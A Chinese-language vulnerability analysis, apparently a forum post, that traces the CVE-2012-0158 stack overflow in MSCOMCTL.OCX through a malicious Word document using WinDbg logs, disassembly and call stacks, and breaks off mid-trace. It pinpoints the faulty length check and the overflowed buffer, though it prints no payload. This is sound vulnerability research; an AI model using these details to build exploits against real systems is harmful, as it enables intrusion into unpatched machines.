CVE-2012-0158 MSCOMCTL 控件漏洞分析

作者：chence　　时间：27/4/2012

引言：一个朋友给了我一个比较新的样本，用 360 一扫，直接报了 CVE-2012-0158。一直都觉得 360 对于文件病毒不敏感，这回倒是给了我一个惊讶。看来 360 也不能藐视。。。

网上搜了搜，没发现有分析这个漏洞的。论坛分析漏洞的文章比较少了，我下个决心自己试着分析一下，一来努力提升一下我这个菜鸟的逆向分析能力，二来为论坛的发展贡献一点棉薄之力。大致分析完毕，出拙文，与看雪坛友分享之~ 水平有限，错误之处，恳请牛人们批评指正！废话少说，下面开始行动：

分析环境：windows xp sp2，word 2007 版本：12.0.4518.1014

本次调试采用 Windbg，原因有二：

1. 用 OD 或者 ImunityDBG 调试 office 漏洞很卡，还经常运行的时候 WORD 点击没反应。有时还会出现一些奇怪的违反访问错误。这样你在调试时，可能调试了半天，漏洞却还没触发，却碰到一大堆的违反访问，程序没奔溃，你已经奔溃了 •••
2. WinDBG 执行效率高，还会记录执行的路径，并且有强大的脚本做后盾，一些指令很好用哦，呵呵。

用 Windbg 附加 Winword 进程，给 GetFileSize（这个函数是这种恶意文档释放木马和正常文档必调的一个函数）下断点。每次中断，你都用 kb 指令看下调用路径，如果发现调用路径不正常，则本次调用就处于 shellocde 当中。经过几次的中断之后，发现了踪迹，如下图所示：

```
0:000> kb
ChildEBP RetAddr    Args to Child
00122458 00122773 00000001 00122498 275c8b91 kernel32!GetFileSize
WARNING: Frame IP not in any known module. Following frames may be wrong.
001224a0 00122519 1005c48b c7000001 4d032400 0x122773
00000000 00000000 00000000 00000000 00000000 0x122519
```

gu 执行至返回再单步，你就处于 shellocde 的包围圈了。

```
00122760 8d45f8          lea     eax,[ebp-8]
00122763 50              push    eax
00122764 ff75fc          push    dword ptr [ebp-4]
00122767 e8bcfdffff      call    00122528
0012276c 050d000000      add     eax,0Dh
00122771 ff10            call dword ptr [eax] ds:0023:001224c7={kernel32!GetFileSize (7c810c8f)}
00122773 8945f4          mov     dword ptr [ebp-0Ch],eax
00122776 83f8ff          cmp     eax,0FFFFFFFFh
00122779 7507            jne     00122782
0012277b e9be010000      jmp     0012293e
00122780 eb0b            jmp     0012278d
```

看下该段代码处于那段空间：

```
0:000> !address eip
    00030000 : 00114000 - 0001c000
                        Type     00020000 MEM_PRIVATE
```

Protect 00000004 PAGE_READWRITE
State 00001000 MEM_COMMIT
Usage RegionUsageStack
Pid.Tid 5ac.7cc

很明显 shellocde 处于栈中，内存属性为 PAGE_READWRITE(如果打开 DEP，估计就执行不了了)。

先不细看 shellocde，shellocde 的开始位置始于：0x12253d。根据网上已知的资料，知道是 MSCOMCTL.OCX 控件的问题，故设置一个加载断点：

sxe ld ：MSCOMCTL.OCX

在此处中断后，应该离触发不远了。单步执行至加载处，再下 GetFileSize 的断点，加个路障，防止调试器把 shellocde 一步执行完了。

不断的 F10，大概 30 步后，WINDBG 离奇地中断在 GetFileSize 了，这时 kb 一下，发现已经执行到了 shellcode 了。马上到 CMD 窗口代码堆里找最近的函数：

```
wwlib!DllCanUnloadNow+0x3145b9:
31e028fb ff732c          push    dword ptr [ebx+2Ch]  ds:0023:06ba3dec=083d0670
0:000> p
eax=001ef34c ebx=06ba3dc0 ecx=27582c70 edx=001ef2f8 esi=00000000 edi=06973e08
eip=31e028fe esp=001225b0 ebp=00122658 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wwlib!DllCanUnloadNow+0x3145bc:
31e028fe 8b08            mov     ecx,dword ptr [eax]  ds:0023:001ef34c=2759d668
0:000> p
eax=001ef34c ebx=06ba3dc0 ecx=2759d668 edx=001ef2f8 esi=00000000 edi=06973e08
eip=31e02900 esp=001225b0 ebp=00122658 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wwlib!DllCanUnloadNow+0x3145be:
31e02900 50              push    eax
0:000> p
eax=001ef34c ebx=06ba3dc0 ecx=2759d668 edx=001ef2f8 esi=00000000 edi=06973e08
eip=31e02901 esp=001225ac ebp=00122658 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
wwlib!DllCanUnloadNow+0x3145bf:
31e02901 ff5118          call    dword ptr [ecx+18h]  ds:0023:2759d680=27600cea
0:000> p
Breakpoint 0 hit
eax=001224c7 ebx=083d0810 ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b
eip=7c810c8f esp=0012245c ebp=001224a0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
kernel32!GetFileSize:
7c810c8f 8bff            mov     edi,edi
```

发现最近调用的那个函数是：

```
wwlib!DllCanUnloadNow+0x3145bf:
31e02901 ff5118          call    dword ptr [ecx+18h]  ds:0023:2759d680=27600cea
```

就是因为 PASS 这个函数导致了 shellcode 的执行。再看看其属于哪个模块

```
0:000> lm
```

```
start    end        module name
…
03020000 03093000   Resource   (deferred)
10000000 102a6000   SOGOUPY    (deferred)
11000000 11050000   SYMINPUT   (deferred)
20000000 20549000   xpsp2res   (deferred)
27580000 27686000   MSCOMCTL   (export symbols)   C:\WINDOWS\system32\MSCOMCTL.OCX
30000000 30057000   WINWORD    (export symbols)   C:\Program Files\Microsoft Office\Office12\WINWORD.EXE
31240000 322ec000   wwlib      (export symbols)   C:\Program Files\Microsoft Office\Office12\wwlib.dll
…
```

果然属于 MSCOMCTL.OCX 控件空间。

下一步就是在该函数下断点。成功在该地址中断后，一步步跟下来：

看下此时的栈调用路径：

```
0:000> kb l4
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001225a4 31e02904 001efbf4 083e0670 00000000 MSCOMCTL!DllUnregisterServer+0xc07
00122658 31772877 06c04c80 00000000 06c04c80 wwlib!DllCanUnloadNow+0x3145c2
0012270c 3173a003 06c04c80 00000000 00000000 wwlib!wdCommandDispatch+0x151602
```

正常，继续单步。走了几步之后跳到了 shellcode 当中去了：

```
MSCOMCTL!DllUnregisterServer+0xc30:
27600d13 8b08            mov     ecx,dword ptr [eax]  ds:0023:001efbf0=2759d690
0:000> p
eax=001efbf0 ebx=06c04c80 ecx=2759d690 edx=00000000 esi=00000000 edi=079f3d48
eip=27600d15 esp=0012259c ebp=001225a4 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
MSCOMCTL!DllUnregisterServer+0xc32:
27600d15 50              push    eax
0:000> p
eax=001efbf0 ebx=06c04c80 ecx=2759d690 edx=00000000 esi=00000000 edi=079f3d48
eip=27600d16 esp=00122598 ebp=001225a4 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
MSCOMCTL!DllUnregisterServer+0xc33:
27600d16 ff5114          call    dword ptr [ecx+14h]  ds:0023:2759d6a4=275c1284
0:000> p
Breakpoint 0 hit
eax=001224c7 ebx=083e0810 ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b
eip=7c810c8f esp=0012245c ebp=001224a0 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
kernel32!GetFileSize:
7c810c8f 8bff            mov     edi,edi
0:000> p
```

eax=001224c7 ebx=083e0810 ecx=7c801bf6 edx=00000165 esi=001224ff edi=0012250b

eip=7c810c91 esp=0012245c ebp=001224a0 iopl=0 nv up ei pl nz ac po nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212

0:000> kb

ChildEBP RetAddr Args to Child

WARNING: Stack unwind information not available. Following frames may be wrong.

00122458 00122773 00000001 00122498 275c8b91 kernel32!GetFileSize+0x3

001224a0 00122519 1005c48b c7000001 4d032400 0x122773

00000000 00000000 00000000 00000000 00000000 0x122519

继续跟踪函数 275c1284(MSCOMCTL!DllGetClassObject+0x3324b)。离成功不远了，坚持下去。

所下断点如下：

0:000> bl

0 e 7c810c8f 0001 (0001) 0:**** kernel32!GetFileSize

1 e 7c86114d 0001 (0001) 0:**** kernel32!WinExec

2 e 317d225f 0001 (0001) 0:**** wwlib!wdCommandDispatch+0x1b0fea

3 e 27600cea 0001 (0001) 0:**** MSCOMCTL!DllUnregisterServer+0xc07

4 e 275c1284 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x3324b

5 e 2758fa7d 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x1a44

6 e 275c12bc 0001 (0001) 0:**** MSCOMCTL!DllGetClassObject+0x33283

7 e 275e76d4 0001 (0001) 0:**** MSCOMCTL!DLLGetDocumentation+0xf9a

8 e 275e776f 0001 (0001) 0:**** MSCOMCTL!DLLGetDocumentation+0x1035

9 e 275e7426 0001 (0001) 0:**** MSCOMCTL!DLLGetDocumentation+0xcec

最后的调用嵌套关系为：

MSCOMCTL!DllUnregisterServer+0xc07;

MSCOMCTL!DllGetClassObject+0x3324b;

MSCOMCTL!DllGetClassObject+0x33270:

275c12a9 e8cfe7fcff call MSCOMCTL!DllGetClassObject+0x1a44 (2758fa7d)

MSCOMCTL!DllGetClassObject+0x1a62:

2758fa9b ff5038 call dword ptr [eax+38h] ds:0023:2759d840=275c12bc

MSCOMCTL!DllGetClassObject+0x3c612:

275ca64b ff5114 call dword ptr [ecx+14h] ds:0023:2759dc54=275e76d4

MSCOMCTL!DLLGetDocumentation+0x1035:

275e776f ff5114 call dword ptr [ecx+14h]

ds:0023:275c1724=275e7415（MSCOMCTL!DLLGetDocumentation+0xcdb）

MSCOMCTL!DLLGetDocumentation+0xcec:

275e7426 e82317feff call MSCOMCTL!DllGetClassObject+0x3ab15

跟进这个函数，发现执行至函数末尾后，栈里的数据就被破坏得一塌糊涂了。下面一下来看下 MSCOMCTL!DllGetClassObject+0x3ab15:（外围函数，且称之为 A）函数的流程：

275c8b4e 55 push ebp

调用栈：

0:000> kb l4

ChildEBP RetAddr Args to Child

WARNING: Stack unwind information not available. Following frames may be wrong.

00122498 275e742b 001a120c 08150810 00000000 MSCOMCTL!DllGetClassObject+0x3ab15

001224c0 275e7772 001a120c 08150810 08150810 MSCOMCTL!DLLGetDocumentation+0xcf1
001224e0 275ca64e 001a1658 08150810 001a14b0 MSCOMCTL!DLLGetDocumentation+0x1038
00122560 2758fa9e 001a1460 00000000 08150810 MSCOMCTL!DllGetClassObject+0x3c615
0:000> p
eax=001a120c ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b4f esp=00122498 ebp=001224c0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
MSCOMCTL!DllGetClassObject+0x3ab16:
275c8b4f 8bec mov ebp,esp
0:000> p
eax=001a120c ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b51 esp=00122498 ebp=00122498 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
MSCOMCTL!DllGetClassObject+0x3ab18:
275c8b51 83ec14 sub esp,14h //只开辟了 14h 大小的栈空间
0:000> p
eax=001a120c ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b54 esp=00122484 ebp=00122498 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
…
MSCOMCTL!DllGetClassObject+0x3ab21:
275c8b5a 6a0c push 0Ch
0:000> p
eax=001a120c ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b5c esp=00122474 ebp=00122498 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MSCOMCTL!DllGetClassObject+0x3ab23:
275c8b5c 8d45ec lea eax,[ebp-14h]
0:000> p
eax=00122484 ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b5f esp=00122474 ebp=00122498 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MSCOMCTL!DllGetClassObject+0x3ab26:
275c8b5f 53 push ebx
0:000> p
eax=00122484 ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b60 esp=00122470 ebp=00122498 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
MSCOMCTL!DllGetClassObject+0x3ab27:
275c8b60 50 push eax
0:000> p
eax=00122484 ebx=08150810 ecx=275c1710 edx=00000001 esi=001a120c edi=00000000
eip=275c8b61 esp=0012246c ebp=00122498 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206

MSCOMCTL!DllGetClassObject+0x3ab28:
275c8b61 e88efdffff call MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)//第一次调用
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b66 esp=0012246c ebp=00122498 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
MSCOMCTL!DllGetClassObject+0x3ab2d:
275c8b66 83c40c add esp,0Ch
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b69 esp=00122478 ebp=00122498 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
MSCOMCTL!DllGetClassObject+0x3ab30:
275c8b69 85c0 test eax,eax
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b6b esp=00122478 ebp=00122498 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab32:
275c8b6b 7c6c jl MSCOMCTL!DllGetClassObject+0x3aba0 (275c8bd9) [br=0]
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b6d esp=00122478 ebp=00122498 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab34:
275c8b6d 817dec436f626a cmp dword ptr [ebp-14h],6A626F43h ss:0023:00122484=6a626f43
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b74 esp=00122478 ebp=00122498 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab3b:
275c8b74 0f85f9a20000 jne MSCOMCTL!DllGetClassObject+0x44e3a (275d2e73) [br=0]
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b7a esp=00122478 ebp=00122498 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab41:
275c8b7a 837df408 cmp dword ptr [ebp-0Ch],8 ss:0023:0012248c=00008282
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b7e esp=00122478 ebp=00122498 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab45:
275c8b7e 0f82efa20000 jb MSCOMCTL!DllGetClassObject+0x44e3a (275d2e73) [br=0]// 第二个

参数与 8 比较，小于则结束。这句话直接导致了漏洞的发生，应该是程序员不小心犯了一个错误，本来应该是大于 8 则结束

```
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b84 esp=00122478 ebp=00122498 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab4b:
275c8b84 ff75f4          push    dword ptr [ebp-0Ch]  ss:0023:0012248c=00008282
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b87 esp=00122474 ebp=00122498 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab4e:
275c8b87 8d45f8          lea     eax,[ebp-8]
0:000> p
eax=00122490 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b8a esp=00122474 ebp=00122498 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab51:
275c8b8a 53              push    ebx
0:000> p
eax=00122490 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b8b esp=00122470 ebp=00122498 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab52:
275c8b8b 50              push    eax
0:000> p
eax=00122490 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b8c esp=0012246c ebp=00122498 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3ab53:
275c8b8c e863fdffff      call    MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)//第二次调用
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8b91 esp=0012246c ebp=00122498 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
MSCOMCTL!DllGetClassObject+0x3ab58:
275c8b91 8bf0            mov     esi,eax
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b93 esp=0012246c ebp=00122498 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
MSCOMCTL!DllGetClassObject+0x3ab5a:
275c8b93 83c40c          add     esp,0Ch
```

```
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b96 esp=00122478 ebp=00122498 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
MSCOMCTL!DllGetClassObject+0x3ab5d:
275c8b96 85f6            test    esi,esi
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8b98 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
…
MSCOMCTL!DllGetClassObject+0x3ab94:
275c8bcd 837dfc00        cmp     dword ptr [ebp-4],0  ss:0023:00122494=00000000
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd1 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab98:
275c8bd1 0f85a6a20000    jne     MSCOMCTL!DllGetClassObject+0x44e44 (275d2e7d) [br=0]
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd7 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3ab9e:
275c8bd7 8bc6            mov     eax,esi
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=90909090
eip=275c8bd9 esp=00122478 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba0:
275c8bd9 5f              pop     edi
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=00000000 edi=00000000
eip=275c8bda esp=0012247c ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba1:
275c8bda 5e              pop     esi
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8bdb esp=00122480 ebp=00122498 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba2:
275c8bdb 5b              pop     ebx
0:000> p
```

eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8bdc esp=00122484 ebp=00122498 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba3:
275c8bdc c9 leave
0:000> p
eax=00000000 ebx=08150810 ecx=7c93056d edx=00150608 esi=001a120c edi=00000000
eip=275c8bdd esp=0012249c ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
MSCOMCTL!DllGetClassObject+0x3aba4:
275c8bdd c20800 ret 8
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00000000 00000000 00000000 00000000 00000000 MSCOMCTL!DllGetClassObject+0x3aba4

调用了两次 MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)，且称之为 B。

第二次调用函数时压的三个参数：

0:000> dd esp l3
0012246c 00122490 07f80810 00008282

第一个参数指向栈内，第二个参数指向一片内存区域，第三个为大小（后面得知）。

下面一起来看看 MSCOMCTL!DllGetClassObject+0x3a8bb (275c88f4)，函数有点长，整个代码如下（此处是第二次调用 B 函数的情形）：

//==//
275c88f4 55 push ebp
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c88f5 esp=00122464 ebp=00122498 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0x3a8bc:
275c88f5 8bec mov ebp,esp
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c88f7 esp=00122464 ebp=00122464 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0x3a8be:
275c88f7 51 push ecx
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c88f8 esp=00122460 ebp=00122464 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
MSCOMCTL!DllGetClassObject+0x3a8bf:
275c88f8 53 push ebx
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000

```
eip=275c88f9 esp=0012245c ebp=00122464 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3a8c0:
275c88f9 8b5d0c          mov     ebx,dword ptr [ebp+0Ch] ss:0023:00122470=07f80810
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c88fc esp=0012245c ebp=00122464 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
MSCOMCTL!DllGetClassObject+0x3a8c3:
275c88fc 56              push    esi
0:000> db ebx
07f80810  d8 57 99 76 b4 57 99 76-60 57 99 76 48 57 99 76  .W.v.W.v`W.vHW.v
07f80820  28 57 99 76 00 00 00 00-00 00 00 00 00 00 00 00  (W.v............
07f80830  01 00 00 00 2c 08 00 00-f0 05 00 00 48 07 00 00  ....,.......H...
07f80840  80 3b 00 00 a0 3c f8 07-45 58 53 54 01 00 00 00  .;...<..EXST....
07f80850  20 07 00 00 00 00 00 00-28 00 00 00 01 00 00 00   .......(.......
07f80860  68 02 00 00 00 00 00 00-05 00 00 00 00 00 00 00  h...............
07f80870  00 00 00 00 a0 33 00 00-01 00 00 00 80 3b 00 00  .....3.......;..
07f80880  b0 00 00 00 00 00 00 00-d0 58 99 76 b0 58 99 76  .........X.v.X.v
0:000> p
eax=00122490 ebx=07f80810 ecx=7c93056d edx=00150608 esi=001a1404 edi=00000000
eip=275c88fd esp=00122458 ebp=00122464 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
…
MSCOMCTL!DllGetClassObject+0x3a8ca:
275c8903 8d4dfc          lea     ecx,[ebp-4]
0:000> p
eax=769957d8 ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000
eip=275c8906 esp=00122450 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8cd:
275c8906 6a04            push    4
0:000> p
eax=769957d8 ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000
eip=275c8908 esp=0012244c ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8cf:
275c8908 51              push    ecx
0:000> p
eax=769957d8 ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000
eip=275c8909 esp=00122448 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8d0:
275c8909 53              push    ebx
```

```
0:000> p
eax=769957d8 ebx=07f80810 ecx=00122460 edx=00150608 esi=00000000 edi=00000000
eip=275c890a esp=00122444 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8d1:
275c890a ff500c          call    dword ptr [eax+0Ch]  ds:0023:769957e4=769d9f59
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000
eip=275c890d esp=00122454 ebp=00122464 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
MSCOMCTL!DllGetClassObject+0x3a8d4:
275c890d 3bc6            cmp     eax,esi
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000
eip=275c890f esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8d6:
275c890f 7c78            jl      MSCOMCTL!DllGetClassObject+0x3a950 (275c8989) [br=0]
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00000000
eip=275c8911 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8d8:
275c8911 8b7d10          mov     edi,dword ptr [ebp+10h] ss:0023:00122474=00008282
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8914 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8db:
275c8914 397dfc          cmp     dword ptr [ebp-4],edi ss:0023:00122460=00008282
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c8917 esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8de:
275c8917 0f85beb40000    jne     MSCOMCTL!DllGetClassObject+0x45da2 (275d3ddb) [br=0]
0:000> p
eax=00000000 ebx=07f80810 ecx=06cf0000 edx=00000000 esi=00000000 edi=00008282
eip=275c891d esp=00122454 ebp=00122464 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSCOMCTL!DllGetClassObject+0x3a8e4:
275c891d 57              push    edi
0:000> p
